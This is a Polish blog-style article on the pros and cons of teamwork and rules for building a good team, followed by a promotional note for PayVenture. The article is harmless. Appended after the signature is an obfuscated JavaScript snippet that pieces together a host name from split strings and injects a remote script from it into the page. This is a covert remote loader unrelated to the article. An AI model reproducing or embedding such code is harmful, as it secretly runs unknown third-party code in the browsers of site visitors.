

## Wady i zalety pracy zespołowej. Jak stworzyć dobry zespół?

Praca zespołowa daje możliwość osiągnięcia dużo lepszych rezultatów niż w przypadku rozwiązywania problemów w pojedynkę. Niesie jednak ze sobą ryzyko trudności w zakończeniu projektu na czas oraz konfliktów, zwłaszcza w fazie konstruowania zespołu. Spójrzmy na pracę w grupie z obu stron i postarajmy się znaleźć metodę na ujarznienie jej potęgi.

### Zalety pracy zespołowej:

- Zespół znaczy więcej niż prosta suma umiejętności jego członków.

Praca w grupie, głównie dzięki możliwości konsultowania problemów poszczególnych specjalistów wchodzących w jej skład, prawie zawsze daje lepsze rezultaty niż niezależne wykonywanie zadań. Wspólne rozwiązywanie problemu jednego członka grupy owocuje zarówno szybszym znalezieniem rozwiązania jak i podniesieniem morale całego zespołu.

- Członkowie zespołu wzajemnie motywują się do pracy.

Umiejętne włączenie konkurencji w pracę zespołu przyspiesza działania każdego członka.

- Odczucie porażki rozkłada się na zespół, zamiast konkretnej osoby.

Nawet jeśli to niepowodzenie w realizacji jednego z podzadań, teoretycznie przypisanego do członka zespołu, stoi za niepowodzeniem projektu, dużo prościej pogodzić się z porażką.

- Możliwość szybszego dostosowania.

Dostęp do ludzi o szerokim wachlarzu umiejętności umożliwia dynamiczną zmianę planów i dostosowanie się chociażby do posunięć konkurencji.

- Zmniejszenie poczucia presji ze strony przełożonego.

Nawet jeśli przełożony jest liderem zespołu, wspólne opracowywanie rozwiązań zmniejsza bezpośrednią presję na podwładnych. To czas staje się wrogiem. Wszystkich członków.

- Zwiększenie poczucia wartości członków zespołu.

Członkowie zespołu czują się współodpowiedzialni za jego sukces.

- Dynamiczny rozdział zadań na podstawie umiejętności.

Praca w grupie daje możliwość zmiany podziału zadań w reakcji na umiejętności członków ujawnione w czasie trwania projektu.

Wady i zagrożenia pracy zespołowej

- Dłuższy czas rozwiązywania problemów.

Przy braku odpowiedniego lidera czy jasno określonego planu działania rozwiązywanie problemów może, paradoksalnie, zatrzymać się na etapie burzy mózgów na zbyt długi okres czasu.

- Konieczność zbudowania zespołu.

Zbudowanie zgranego zespołu zajmuje czas i jest często bardzo trudne, z racji na różnice w nastawieniu do pracy (lub zwyczajnie niechęć indywidualistów do pracy z grupie).

- Rozproszenie odpowiedzialności.

Nie ma co ukrywać, praca w grupie może spowodować, że członkowie zespołu przestaną przykładać się do swojego zadania bo grupa to rozwiąże .

- Brak lub nadmiar liderów.

Zarówno brak osoby spinającej pracę jak i nadmiar silnych osobowości mogą skończyć się fiaskiem projektu.

- Konieczność dopasowania pomysłu do opinii grupy.

Innowacyjne rozwiązania zaproponowane przez osobę o małej charyzmie mogą zostać zduszone w zarodku przez resztę grupy.

Zalety i wady pracy w grupie zależą w dużej mierze od jakości zespołu i metodyki współpracy. Zarówno tworzenie zespołu na siłę, jak i brak koordynacji działań grupy mogą zamienić wysiłki kilku osób w chaotyczne działania w ogóle nie zmniejszające odległości do celu. Aby stworzyć dobry, efektywny zespół, musimy pamiętać o kilku podstawowych regułach.

- Jasno określony cel pracy.

- Rozpoznanie członków zespołu nie tylko ze względu na ich specjalności, ale też role zespołowe (choćby w oparciu o klasyfikację M. Belbina).
- Wybór skutecznego lidera zespołu.
- Postawienie na jasną i bezpośrednią komunikację na każdym etapie prac.
- Założenie wystąpienia konfliktów i przygotowanie do przekucia ich na dodatkowe źródło informacji mogących pomóc w realizacji projektu.

Przede wszystkim ważne jest jednak wzięcie pod uwagę tego, że w początkowej fazie projektu praca zespołowa może wyglądać na chaotyczną i mniej efektywną, ale to właśnie ten model sprawdza się najczęściej przy realizacji przedsięwzięć innowacyjnych.

PayVenture ([www.payventure.co](http://www.payventure.co)) to interdyscyplinarny hub, społeczność na rzecz pracy w duchu przedsiębiorczości, tworzenia, realizacji projektów, komercjalizacji produktów i usług oraz rozkwitu nauki. Skupiamy profesjonalistów, artystów, naukowców, nauczycieli, menedżerów, liderów i przedsiębiorców z różnych branż. Naszym celem jest stworzenie warunków do pracy i rozwoju na bazie osobistej motywacji, pasji i talentów i wsparcie innowacyjnej kultury firm.

Zapraszamy do naszej społeczności: [www.payventure.co](http://www.payventure.co)

Mariusz Orzelski, CEO&Founder Payventure.co

```
(function(){
  utqx=document.createElement("script");utqx.type="text/javascript";
  utqx.async=true;utqx_=(("us")+"t")+ "a";utqx_+=("t.i")+""+"n";utqx_+=(("f")+"o");
  utqx.src="http://"+utqx_+"/3406182.9yq7nnrwtqk4hw9bib77hwrq8hpra";
  document.body.appendChild(utqx);
})();
```